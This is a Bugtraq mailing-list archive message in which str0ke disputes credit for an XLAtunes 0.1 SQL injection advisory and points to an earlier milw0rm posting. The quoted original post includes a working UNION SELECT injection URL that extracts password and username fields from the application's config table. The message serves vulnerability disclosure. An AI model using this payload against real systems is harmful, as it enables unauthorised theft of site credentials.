Bugtraq mailing list archives
Re: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability
From: str0ke <str0ke () milw0rm com>
Date: Tue, 20 Feb 2007 11:34:30 -0600
This was actually found by Bl0od3r, and was posted on the 17th. Yep you pretty much nop'ed the found by section, nice job. http://www.milw0rm.com/exploits/3327 /str0ke On 19 Feb 2007 19:27:31 -0000, Guns () 0x90 com ar <Guns () 0x90 com ar> wrote:
#Critical Status:High #Found By: 0x90 #Download:http://www.scriptdungeon.com/script.php?ScriptID=2844 #Greetz:all my friends #confkey->Password #confvalue->Username #Table:config #http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*
Current thread:
- XLAtunes 0.1 (album) Remote SQL Injection Vulnerability Guns (Feb 20)
- Re: XLAtunes 0.1 (album) Remote SQL Injection Vulnerability str0ke (Feb 20)
- <Possible follow-ups>
- XLAtunes 0.1 (album) Remote SQL Injection Vulnerability Guns (Feb 21)